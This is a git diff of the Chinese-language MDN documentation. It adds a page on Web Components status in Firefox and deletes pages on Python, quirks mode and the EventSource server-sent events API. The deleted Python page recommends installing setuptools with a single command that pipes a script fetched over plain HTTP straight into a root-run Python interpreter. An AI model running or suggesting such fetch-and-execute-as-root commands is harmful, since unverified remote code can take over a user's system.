{{SpecName("Screen Orientation")}}{{Spec2("Screen Orientation")}}  {{domxref("Screen.orientation")}} {{domxref("Screen.lockOrientation()")}}{{domxref("Screen.unlockOrientation()")}} {{domxref("Screen.onorientationchange")}} {{event("orientationchange")}} (event)
{{SpecName("Web Notifications")}}{{Spec2("Web Notifications")}}  {{domxref("Notification")}} {{event("click")}} (event) {{event("show")}} (event) {{event("error")}} (event) {{event("close")}} (event)
{{SpecName("AmbientLight")}}{{Spec2("AmbientLight")}}  {{domxref("window.ondevicelight")}} {{domxref("DeviceLightEvent")}} {{event("devicelight")}} (event)
{{SpecName("Proximity Events")}}{{Spec2("Proximity Events")}}  {{domxref("window.ondeviceproximity")}} {{domxref("DeviceProximityEvent")}} {{event("deviceproximity")}} (event) {{domxref("window.onuserproximity")}} {{domxref("UserProximityEvent")}} {{event("userproximity")}} (event)
{{SpecName("WebIDL")}}{{Spec2("WebIDL")}}   
{{SpecName("XMLHttpRequest")}}{{Spec2("XMLHttpRequest")}}  {{domxref("XMLHttpRequest")}} {{domxref("XMLHttpRequestEventTarget")}} {{domxref("XMLHttpRequestUpload")}} {{event("loadstart")}} (event) {{event("error")}} (event) {{event("timeout")}} (event) {{event("progress")}} (event) {{event("abort")}} (event) {{event("load")}} (event) {{event("loadend")}} (event) {{event("readystatechange")}} (event) {{domxref("FormData")}}
{{SpecName("Highres Time")}}{{Spec2("Highres Time")}}  {{domxref("DOMHighResTimestamp")}} {{domxref("Performance.now()")}}
{{SpecName("Websockets")}} (also in WHATWG HTML){{Spec2("Websockets")}}WebSockets WebSockets referenceWriting WebSocket client applications{{domxref("WebSocket")}} (documented under WebSockets/WebSockets_reference/WebSocket ) {{event("open")}} (event) {{event("message")}} (event) {{event("error")}} (event) {{event("close")}} (event) {{domxref("CloseEvent")}} (documented under WebSockets/WebSockets_reference/CloseEvent )
{{SpecName("Page Visibility API")}}{{Spec2("Page Visibility API")}}  {{domxref("Document.hidden")}} {{domxref("Document.visibilityState")}} {{event("visibilitychange")}} (event)
{{SpecName("RequestAnimationFrame")}}{{Spec2("RequestAnimationFrame")}}  {{domxref("Window.requestAnimationFrame()")}} {{domxref("Window.cancelAnimationFrame()")}}
{{SpecName("Server-sent events")}} (also in WHATWG HTML){{Spec2("Server-sent events")}}  {{domxref("EventSource")}} {{event("open")}} (event) {{event("error")}} (event) {{event("message")}} (event)
{{SpecName("Network Information")}}{{Spec2("Network Information")}}  {{domxref("NetworkInformation")}} {{domxref("Connection")}} {{event("change")}} (event)
{{SpecName("Web Storage")}} (also in WHATWG HTML){{Spec2("Web Storage")}}  {{domxref("Storage")}} {{domxref("WindowSessionStorage")}} {{domxref("WindowLocalStorage")}} {{event("storage")}} {{domxref("StorageEvent")}}
{{SpecName("Selectors API Level 1")}}{{Spec2("Selectors API Level 1")}}  {{domxref("Document.querySelector()")}} {{domxref("Document.querySelectorAll()")}} {{domxref("DocumentFragment.querySelector()")}} {{domxref("DocumentFragment.querySelectorAll()")}} {{domxref("Element.querySelector()")}} {{domxref("Element.querySelectorAll()")}}
{{SpecName("Progress Events")}}{{Spec2("Progress Events")}}  {{domxref("ProgressEvent")}}
{{SpecName("Typed Array")}}{{Spec2("Typed Array")}} JavaScript Typed arraysInt8Array Int16Array Int32Array Uint8Array Uint16Array Uint32Array Uint8ClampedArray Float32Array Float64Array, ...
{{SpecName("Gamepad")}}{{Spec2("Gamepad")}}  {{domxref("Gamepad")}} {{domxref("window.navigator.getGamepads()")}} {{domxref("GamepadEvent")}} {{event("gamepadconnected")}} (event) {{event("gamepaddisconnected")}}
{{SpecName("Navigation Timing")}}{{Spec2("Navigation Timing")}}  {{domxref("PerformanceTiming")}} {{domxref("PerformanceNavigation")}} {{domxref("Performance")}} {{domxref("window.performance")}}
{{SpecName("WOFF1.0")}}{{Spec2("WOFF1.0")}}About the Web Open Font Format  
{{SpecName("WebVTT")}}{{Spec2("WebVTT")}}  {{cssxref("::cue")}} {{cssxref(":past")}} {{cssxref(":future")}} {{domxref("WebVTTCue")}}
WebSocket Protocol    
CORS    
HTTP HTTP  
TLS    
MediaFragment    
Link: header    
Content-Disposition: header    
URLLiving Standard  {{domxref("URLUtils")}} {{domxref("URLUtilsReadOnly")}}
+

 

diff --git a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html new file mode 100644 index 0000000000..d57e5adef5 --- /dev/null +++ b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html @@ -0,0 +1,51 @@ +--- +title: Status of Web Components support in Firefox +slug: Web/Web_Components/Status_in_Firefox +translation_of: Web/Web_Components/Status_in_Firefox +--- +

{{DefaultAPISidebar("Web Components")}}{{SeeCompatTable}}

+ +

Web Components 依旧是一项非常新的技术,它的规范正随着浏览器的实现而不断演变并且 Web 开发者正在测试和使用它。 它的实现状态是变化的并且演变的十分迅速; 这篇文章列出了在 Gecko 上的状态, 用于 Firefox 和Firefox OS.

+ +
+
+

原生支持

+ +

下面的特征已经被实现了并且默认在 Firefox and Firefox OS 中被激活:

+ +
    +
  • {{HTMLElement("template")}}
  • +
+ +

即将到来的特征

+ +
    +
  • 一个实现关于新的 Shadow DOM 共识有望在2016年第一季度达成; Anne's 和 Wilson's 的博客讲述了这些细节。 这依然有 大量的讨论和公开问题 关于这个规范.。并且所有的浏览器实现被有望在未来得到更新.
  • +
  • 自定义元素 是从头开始, 用一种方式来重建它们使用 ECMAScript 6 “class” 语法 (换而言之, 更少的使用基于原型的语法). 苹果公司的 Ryosuke Niwa 正在填补某些实验性功能使用新的途径. +
      +
    • 旧的语法将可以与新的语法一起在Chrome 中工作一段时间(例如, {{domxref("Element.createShadowRoot()")}} 对应 {{domxref("Element.attachShadow()")}}), 但不能原生的在Firefox中工作。
    • +
    +
  • +
  • 这将会有一个供应商 面对面交流的机会在2016年一月 来讨论问来会出现的问题 。
  • +
+ +

被摒弃的功能

+ +

这些功能已被考虑实现了, 并且有些是实验性实现。但他们将会永远不被实现, 或者被删除。

+ +
    +
  • HTML imports, 因为我们想等着看看开发者如何使用ES6 模块 (虽然还没有实现; 查看 {{bug(568953)}}). imports是一个早期未完成实现,并且将会被删除从Firefox中。
  • +
+ +

在Firefox中使用垫片

+ +

这有些注意事项在Firefox中使用垫片的时候:

+ +
    +
  • 当你激活原生Web容器支持在Firefox中通过设置 {{pref("dom.webcomponents.enabled")}} 偏好 为 true 在  about:config 中, 这个未完成的原生实现开始运作并且垫片可能会出现混淆; 这会有很大的可能性出现崩溃.
  • +
  • 一个使用 webcomponents.js 垫片生成的Shadow DOM 并没有完全包裹样式, 所以这个 样式 可能会溢出。 要注意使用垫片构建的网址当运行在不支持原生Shadow DOM的环境之下时可能会出现差异.
  • +
  • 这个Shadow DOM 垫片运行时非常缓慢的以为他重写了DOM元素的原型来挂在它的功能 。
  • +
  • 如果你不需要使用 Shadow DOM, 使用 webcomponents-lite.js 版本的 webcomponents.js 垫片是一个名明智的选择; 这个版本不填补 Shadow DOM.
  • +
+
+
diff --git a/files/zh-cn/python/index.html b/files/zh-cn/python/index.html deleted file mode 100644 index 95ec82f251..0000000000 --- a/files/zh-cn/python/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Python -slug: Python -tags: - - Python - - Services -translation_of: Learn/Server-side/Django -translation_of_original: Python ---- -

Python 是一款直译式脚本语言,支持包括 Linux、Mac OS X 和 Microsoft Windows 在内的多种平台。

- -

学习 Python

- -

免费的电子书

- -

 如果你是个初学者,可以考虑看看 Dive Into Python 。虽然它最后更新的时间是2004年,但依然是一部免费而且很棒的教程。 它含括了几乎所有Python 的基本元素,还有一些平常使用 Python 可以执行什么任务,像是对 Web 请求和文件的处理。如果对于 Python 已经有了基本的概念,就可以考虑看看 Text Processing In Python,这本书对于 Python 有着更进阶的介绍。

- -

还有其他免费的电子书和在线资源可供参考:

- - - -

译者注:如果有发现其他中文教程,欢迎编写本页来分享

- -

当你对这款语言有了基础的认识后, Code Like a Pythonista: Idiomatic Python 将帮你了解 Python 的一些特别之处,以及和其他语言的区别。

- -

免费在线课程

- - - -

Python 也用在了基于 Mozilla 的应用程序中

- -

XPCOM 在 Mozilla 中用于支持跨语言通信(inter-language communication)。它仅原生支持 C++ <-> JavaScript 的交流。 Python 的 XPCOM 组件(也叫做 PyXPCOM)是将 Python 和 Mozilla 粘合在一块的低级别胶水(the low-level glue),使得用 JavaScript 或 C++ 编写的 XPCOM 组件既可以通过 Python 使用,反之亦然。PyXPCOM 并不默认包含在 Firefox 构建版本中,因此你须要使用第三方构建版本或自己构建一个版本来使用它。PyXPCOM中最知名的消费者是Komodo系列的产品。 

- -

从Mozilla 1.9版本开始就已经支持 (PyDOM) 。 这也让chrome 的XUL 和 HTML 作者在他们的 <script> 标签中使用python(再一次声明,官方版本的Firefox和Thunderbird版本还不支持)。

- -

Mozilla中基于Python的开发者工具

- -

Python已经被众多Mozilla开发者应用于大量的app和框架中。更多信息请参考Python Environment and Tools for Mozilla.

- -

工具列表在这里: http://k0s.org/toolbox/?language=python

- -

Mozilla中Python的使用

- -

Mozilla有大量的基于python的框架,包括:

- - - -

Mozilla-Central的Python身影

- -

[参考网址://bugzilla.mozilla.org/show_bug.cgi?id=835553]

- -

在Mozilla-Central很多的正式版本,测试版本以及其他的框架和工具都是使用的python

- -
    -
  • python/ 包含了通用的python代码,包括第三方镜像打包文件比如:pypi.python.org
  • -
  • testing/mozbase/ 包含了Mozbase 中用于mozilla-central的镜像打包文件
  • -
- -

一个虚拟化环境(virtualenv)包含在调用$OBJDIR/_virtualenv 版本的objdir 时 . 为了封装到虚拟环境中, 可编辑build/virtualenv_packages.txt . 这里有安装好了的版本 build/virtualenv/populate_virtualenv.py .

- -

Python的封装

- -

Python使用setup.py 来记录元数据和python包(python packages)的安装。运行 (e.g.) python setup.py install 将安装打包文件以及使python's import path中的模块可用。对python 2.x来说, 有几种不同的分布式或安装式模块存在,distutils 只在python标准库( python's standard library)的分布式封装中可用, distutils 可以上传到python封装索引python package index 并且安装python包。详情请参阅Python documentation on distutils

- -

当 distutils 已经被加入python标准库中后, 初始化工具 setuptools是一个为封装和分发的第三方的特设标准。它几乎完全兼容distutils,但是却非常关键的使封装文件具有“依赖关系”include dependencies 的能力,可以在setup.py 被调用的时候作为预置条件安装,同时也有了在开发者模式development mode下安装python包的能力. 这使得文件能通过 .pth files来编辑,这对于积极工作的人来说非常容易上手。 setuptools 也提供了一个通过 PyPI来快速安装打包文件和依赖关系的脚本easy_install 。比如安装 PyYAML包,运行

- -
easy_install PyYAML
-
- -

因为 setuptools 没有被包含在python中,你需要对其进行安装,你可以去到PyPI主页去下载setuptoolsi,然后解压,在目录下运行python setup.py install ,你也可以使用快速安装脚本ez_setup.py来进行安装,你可以在拥有root权限或管理员权限的python环境中下载和安装,或者在 bash shell中运行

- -
sudo python <(curl http://peak.telecommunity.com/dist/ez_setup.py)
-
- -

setuptools 也提供了一个虚拟环境virtualenv, 所以如果你想使用虚拟环境来开发,你不需要全局安装setuptools ,distribute是一个Mozilla大佬 Tarek Ziade 在setuptools 的一个,它完全兼容setuptools,并修复了一些bug。

- -
注意: 非常建议你使用虚拟环境virtualenv来开发
- -

python包索引Python Package Index (PyPI) 是一个标准的python打包文件的分发点。如果你需要查找一些python的功能,这是一个很好的查询的地方。

- -

参阅: http://k0s.org/portfolio/packaging.html

- -

参阅:

- - diff --git a/files/zh-cn/quirks_mode_and_standards_mode/index.html b/files/zh-cn/quirks_mode_and_standards_mode/index.html deleted file mode 100644 index 04e0eabb4f..0000000000 --- a/files/zh-cn/quirks_mode_and_standards_mode/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Quirks Mode and Standards Mode -slug: Quirks_Mode_and_Standards_Mode ---- -

在web产生初期, 网页通常被两个版本: 其中一个是为网景公司的 Netscape Navigator浏览器而写, 另外一个是为微软公司的 Internet Explorer浏览器而写. 随后,当W3C组织制定了web标准,各浏览器并不能立即的严格按标准执行,因为这样做会让一些已经存在的不符合新标准的网页无法正常显示.为此,浏览器推出两种模式来分别对待符合标准的网也与旧的标准指定之前遗留的网页.

-

如今,浏览器的渲染引擎已发展成为拥有三种渲染模式:quirks mode, almost standards mode, 和full standards mode. 在quirks mode(混杂模式)中,渲染引擎会模拟Navigator 4 和 Internet Explorer 5这些古老浏览器的不标准的渲染行为来渲染网页,以防止现代浏览器不能正常渲染已经存在的一些古老网页.在full standards mode(标准规范模式)中,渲染引擎会尽量使用HTML 和 CSS 规范规定的行为来渲染网页.在almost standards mode(接近标准模式)中,渲染引擎有极少数行为不遵循标准.

-

浏览器如何决定使用何种模式?

-

对于HTML文档,浏览器使用该文档开头定义的DOCTYPE来决定是否使用quirks mode还是standards mode来渲染. 为了让你的网页完全按照full standards mode被渲染, 请确保页面开始处包含如下例子中的DOCTYPE:

-
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset=UTF-8>
-    <title>Hello World!</title>
-  </head>
-  <body>
-  </body>
-</html>
-
-

例子中的DOCTYPE是这样定义的:<!DOCTYPE html>,这是有史以来最简洁的DOCTYPE了,而且也是HTML5规范所推荐的写法.早起版本的HTML标准还推荐了其他的一些DOCTYPE写法,不过.只有在<!DOCTYPE html>这样的DOCTYPE定义下,才可以很好的保证所有浏览器都会按照full standards mode去渲染网页,即使是老掉牙的Internet Explorer 6也会如此.再没有什么理由去使用更复杂的DOCTYPE了,因为使用它们可能让你的网页触发一些浏览器的almost standards mode 或者 quirks mode.

-

确保你已经将DOCTYPE 放在HTML文档的最开始处,如果DOCTYPE前面放置了注释或XML声明等其他元素,Internet Explorer 9或更低版本将会按照quirks mode渲染该网页.

-

在HTML5中,使用DOCTYPE的唯一目的就是要激活full standards mode.旧版本的HTML标准给DOCTYPE添加了额外的意义,但是除了在quirks mode 和 standards mode之间切换,没有浏览器使用DOCTYPE做过其他的任何事情.

-

XHTML

-

如果你将自己的网页 Content-Type HTTP头的值设定为 application/xhtml+xml MIME类型,你不需要在网页文档内部定义任何DOCTYPE就可以开启standards mode渲染网页.这是由于Content-Type HTTP头的优先级是最高的.但是这样的设置会导致Internet Explorer 8及其以下版本因不认识如上的MIME类型而显示下载文件的窗口,Internet Explorer 9及其以上版本解决了这个问题.

-

如果你将自己的XHML网页的Content-Type HTTP头设定为text/html的MIME类型,浏览器将会按照HTML文件去读取它,如果想使用standards mode,你必须指定DOCTYPE.

不同模式之间的差别

-

查看 list of quirksalmost standards mode 了解不同模式之间的差别.

-

{{ languages( { "en": "en/Quirks_Mode_and_Standards_Mode" } ) }}

diff --git a/files/zh-cn/server-sent_events/eventsource/close/index.html b/files/zh-cn/server-sent_events/eventsource/close/index.html deleted file mode 100644 index 3b8af5d6d3..0000000000 --- a/files/zh-cn/server-sent_events/eventsource/close/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: EventSource.close() -slug: Server-sent_events/EventSource/close -translation_of: Web/API/EventSource/close ---- -
{{APIRef('WebSockets API')}}
- -
 
- -

{{domxref("EventSource")}} 的方法close()用于关闭当前的连接,如果调用了此方法,则会将{{domxref("EventSource.readyState")}}这个属性值设置为 2 (closed)

- -
-

Note: 如果连接已经被关闭,此方法不会做任何事情

-
- -

语法

- -
eventSource.close();
- -

参数

- -

None.

- -

返回值

- -

Void.

- -

例子

- -
var button = document.querySelector('button');
-var evtSource = new EventSource('sse.php');
-
-button.onclick = function() {
-  console.log('Connection closed');
-  evtSource.close();
-}
-
- -
-

Note: 你可以在Github上查看这整个例子: Simple SSE demo using PHP.

-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource-close", "close()")}}{{Spec2('HTML WHATWG')}}Initial definition
- -
    -
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

[1] But not service workers as yet.

- -

相关链接

- -
    -
  • {{domxref("EventSource")}}
  • -
diff --git a/files/zh-cn/server-sent_events/eventsource/eventsource/index.html b/files/zh-cn/server-sent_events/eventsource/eventsource/index.html deleted file mode 100644 index a93b5eb8b2..0000000000 --- a/files/zh-cn/server-sent_events/eventsource/eventsource/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: EventSource() -slug: Server-sent_events/EventSource/EventSource -tags: - - API - - EventSource - - Server-sent events -translation_of: Web/API/EventSource/EventSource ---- -

{{APIRef('WebSockets API')}}

- -

EventSource() 构造函数返回一个新建的{{domxref("EventSource")}},它代表了一个远程资源。

- -

语法

- -
pc = new EventSource(url, configuration);
- -

参数

- -
-
url
-
 一个{{domxref("USVString")}} ,它代表远程资源的位置
-
configuration {{optional_inline}}
-
为配置新连接提供选项。可选项是: -
    -
  • withCredentials,默认为 false,指示 CORS 是否应包含凭据( credentials )。
  • -
-
-
- -

返回值

- -

 一个新建的 {{domxref("EventSource")}} 对象,如果指定了configuration, 则按其配置;否则,配置为合适的基本默认值。

- - - -

示例

- - - -
var evtSource = new EventSource('sse.php');
-var eventList = document.querySelector('ul');
-
-evtSource.onmessage = function(e) {
-  var newElement = document.createElement("li");
-
-  newElement.textContent = "message: " + e.data;
-  eventList.appendChild(newElement);
-}
- -
-

笔记: 你可以在 GitHub 查看完整示例 — 请查看 Simple SSE demo using PHP.

-
- - - - - -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}{{Spec2('HTML WHATWG')}}Initial definition
- -
    -
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
 Basic support9{{ CompatGeckoDesktop("6.0") }}{{CompatUnknown}}115
CORS support (withCredentials)26{{ CompatGeckoDesktop("11.0") }}{{CompatUnknown}}12{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatAndroid("4.4") }}{{ CompatGeckoMobile("6.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
CORS support (withCredentials){{CompatUnknown}}{{ CompatGeckoMobile("11.0") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

相关链接

- -
    -
  • {{domxref("EventSource")}}
  • -
diff --git a/files/zh-cn/server-sent_events/eventsource/index.html b/files/zh-cn/server-sent_events/eventsource/index.html deleted file mode 100644 index 977bf56d90..0000000000 --- a/files/zh-cn/server-sent_events/eventsource/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: EventSource -slug: Server-sent_events/EventSource -tags: - - API - - Server-sent events - - 参考 -translation_of: Web/API/EventSource ---- -

{{APIRef("Websockets API")}}

- -

EventSource 是服务器推送的一个网络事件接口。一个EventSource实例会对HTTP服务开启一个持久化的连接,以text/event-stream 格式发送事件, 会一直保持开启直到被要求关闭。

- -

一旦连接开启,来自服务端传入的消息会以事件的形式分发至你代码中。如果接收消息中有一个事件字段,触发的事件与事件字段的值相同。如果没有事件字段存在,则将触发通用事件。

- -

与 WebSockets,不同的是,服务端推送是单向的。数据信息被单向从服务端到客户端分发. 当不需要以消息形式将数据从客户端发送到服务器时,这使它们成为绝佳的选择。例如,对于处理社交媒体状态更新,新闻提要或将数据传递到客户端存储机制(如IndexedDB或Web存储)之类的,EventSource无疑是一个有效方案。

- -

构造函数

- -
-
{{domxref("EventSource.EventSource", "EventSource()")}}
-
以指定的 {{domxref("USVString")}} 创建一个新的 EventSource
-
- -

属性

- -

此接口从其父接口 {{domxref("EventTarget")}} 继承属性。

- -
-
{{domxref("EventSource.onerror")}}
-
是一个 {{domxref("EventHandler")}},当发生错误时被调用,并且在此对象上派发 {{event("error")}} 事件。
-
{{domxref("EventSource.onmessage")}}
-
是一个 {{domxref("EventHandler")}},当收到一个 {{event("message")}} 事件,即消息来自源头时被调用。
-
{{domxref("EventSource.onopen")}}
-
是一个 {{domxref("EventHandler")}},当收到一个 {{event(" open ")}} 事件,即连接刚打开时被调用。
-
{{domxref("EventSource.readyState")}} {{readonlyinline}}
-
一个 unsigned short 值,代表连接状态。可能值是 CONNECTING (0), OPEN (1), 或者 CLOSED (2)。
-
{{domxref("EventSource.url")}} {{readonlyinline}}
-
一个{{domxref("DOMString")}},代表事件源的 URL。
-
- -

事件接收器

- -
-
{{domxref("EventSource.onerror")}}
-
Is an {{domxref("EventHandler")}} called when an error occurs and the {{domxref("EventSource/error_event", "error")}} event is dispatched on an EventSource object.
-
{{domxref("EventSource.onmessage")}}
-
Is an {{domxref("EventHandler")}} called when a {{domxref("EventSource/message_event", "message")}} event is received, that is when a message is coming from the source.
-
{{domxref("EventSource.onopen")}}
-
Is an {{domxref("EventHandler")}} called when an {{domxref("EventSource/open_event", "open")}} event is received, that is when the connection was just opened.
-
- -

方法

- -

此接口从其父接口 {{domxref("EventTarget")}} 继承方法。

- -
-
{{domxref("EventSource.close()")}}
-
如果存在,则关闭连接,并且设置 readyState 属性为 CLOSED。如果连接已经被关闭,此方法不会再进行任何操作。
-
- -

事件

- -
-
{{domxref("EventSource/error_event", "error")}}
-
Fired when a connection to an event source failed to open.
-
{{domxref("EventSource/message_event", "message")}}
-
Fired when data is received from an event source.
-
{{domxref("EventSource/open_event", "open")}}
-
Fired when a connection to an event source has opened.
-
- -

Additionally, the event source itself may send messages with an event field, which will create ad-hoc events keyed to that value.

- -

示例

- -

In this basic example, an EventSource is created to receive unnamed events from the server; a page with the name sse.php is responsible for generating the events.

- -
var evtSource = new EventSource('sse.php');
-var eventList = document.querySelector('ul');
-
-evtSource.onmessage = function(e) {
-  var newElement = document.createElement("li");
-
-  newElement.textContent = "message: " + e.data;
-  eventList.appendChild(newElement);
-}
- -

Each received event causes our EventSource object's onmessage event handler to be run. It, in turn, creates a new {{HTMLElement("li")}} element and writes the message's data into it, then appends the new element to the list element already in the document.

- -
-

Note: You can find a full example on GitHub — see Simple SSE demo using PHP.

-
- -

To listen to named events, you'll require a listener for each type of event sent.

- -
  const sse = new EventSource('/api/v1/sse');
-
-  /* This will listen only for events
-   * similar to the following:
-   *
-   * event: notice
-   * data: useful data
-   * id: someid
-   *
-   */
-  sse.addEventListener("notice", function(e) {
-    console.log(e.data)
-  })
-
-  /* Similarly, this will listen for events
-   * with the field `event: update`
-   */
-  sse.addEventListener("update", function(e) {
-    console.log(e.data)
-  })
-
-  /* The event "message" is a special case, as it
-   * will capture events without an event field
-   * as well as events that have the specific type
-   * `event: message` It will not trigger on any
-   * other event type.
-   */
-  sse.addEventListener("message", function(e) {
-    console.log(e.data)
-  })
-  
- -

规范

- - - - - - - - - - - - -
规范状态
{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.EventSource")}}

- -

参见

- - diff --git a/files/zh-cn/server-sent_events/eventsource/onerror/index.html b/files/zh-cn/server-sent_events/eventsource/onerror/index.html deleted file mode 100644 index ad24259a4e..0000000000 --- a/files/zh-cn/server-sent_events/eventsource/onerror/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: EventSource.onerror -slug: Server-sent_events/EventSource/onerror -translation_of: Web/API/EventSource/onerror ---- -
{{APIRef('WebSockets API')}}
- -
 
- - -

{{domxref("EventSource")}} 的属性 onerror 是当发生错误且这个错误事件({{event("error")}} )被EventSource触发时调用的一个事件处理函数({{domxref("EventHandler")}})

- -

语法

- -
eventSource.onerror = function
- -

例子

- -
evtSource.onerror = function() {
-  console.log("EventSource failed.");
-};
- -
-

Note: 你可以在Github上查看这个完整例子: Simple SSE demo using PHP.

-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onerror", "onerror")}}{{Spec2('HTML WHATWG')}}Initial definition
- -
    -
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
EventSource support6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
EventSource support4.445{{CompatNo}}124.1
Available in shared and dedicated workers[1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

[1] But not service workers as yet.

- -

相关链接

- -
    -
  • {{domxref("EventSource")}}
  • -
diff --git a/files/zh-cn/server-sent_events/eventsource/onopen/index.html b/files/zh-cn/server-sent_events/eventsource/onopen/index.html deleted file mode 100644 index dfc47bbf4e..0000000000 --- a/files/zh-cn/server-sent_events/eventsource/onopen/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: EventSource.onopen -slug: Server-sent_events/EventSource/onopen -tags: - - API - - Event Handler - - EventSource -translation_of: Web/API/EventSource/onopen ---- -
{{APIRef('WebSockets API')}}
- -

{{domxref("EventSource")}}接口的 onopen 属性是一个 {{domxref("EventHandler")}} ,它在收到{{event("open")}} 事件时被调用,在那时,连接刚被打开。

- -

语法

- -
eventSource.onopen = function
- -

示例

- -
evtSource.onopen = function() {
-  console.log("Connection to server opened.");
-};
- -
-

注意 :你可以在 GitHub 上看到一个完整的示例— 请看 使用php的SSE(服务器发送事件)demo。

-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onopen", "onopen")}}{{Spec2('HTML WHATWG')}}Initial definition
- -
    -
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
支持EventSource6{{CompatNo}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatVersionUnknown}}5
在共享和专用的 workers上可用[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
支持EventSource4.445{{CompatNo}}124.1
在共享和专用的 workers上可用 [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

[1] 但 目前不能在service workers上使用.

- -

相关链接

- -
    -
  • {{domxref("EventSource")}}
  • -
diff --git a/files/zh-cn/server-sent_events/index.html b/files/zh-cn/server-sent_events/index.html deleted file mode 100644 index 4a9d6e0630..0000000000 --- a/files/zh-cn/server-sent_events/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Server-sent events -slug: Server-sent_events -tags: - - API - - NeedsTranslation - - Server-sent events - - TopicStub -translation_of: Web/API/Server-sent_events ---- -
{{DefaultAPISidebar("Server Sent Events")}}
- -

一个网页获取新的数据通常需要发送一个请求到服务器,也就是向服务器请求的页面。使用 server-sent 事件,服务器可以在任何时刻向我们的 Web 页面推送数据和信息。这些被推送进来的信息可以在这个页面上作为 Events + data 的形式来处理。

- -

概念与使用

- -

可以前往我们这篇文章 《使用 “server-sent events”》 学习怎么使用 server-sent events。

- -

接口

- -
-
{{domxref("EventSource")}}
-
Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.
-
- -

示例

- - - -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}}
- -

参见

- -

Tools

- - - -

相关话题

- - - -

其他资源

- - diff --git a/files/zh-cn/server-sent_events/using_server-sent_events/index.html b/files/zh-cn/server-sent_events/using_server-sent_events/index.html deleted file mode 100644 index 505ec19a76..0000000000 --- a/files/zh-cn/server-sent_events/using_server-sent_events/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: 使用服务器发送事件 -slug: Server-sent_events/Using_server-sent_events -tags: - - Advanced - - DOM - - Guide - - SSE - - Server Sent Events - - messaging - - 服务器发送事件 - - 通信 -translation_of: Web/API/Server-sent_events/Using_server-sent_events ---- -

{{DefaultAPISidebar("Server Sent Events")}}

- -

开发一个使用服务器发送的事件的Web应用程序是很容易的。你需要在服务器上的一些代码将事件流传输到Web应用程序,但Web应用程序端的事情几乎完全相同,处理任何其他类型的事件。

- -

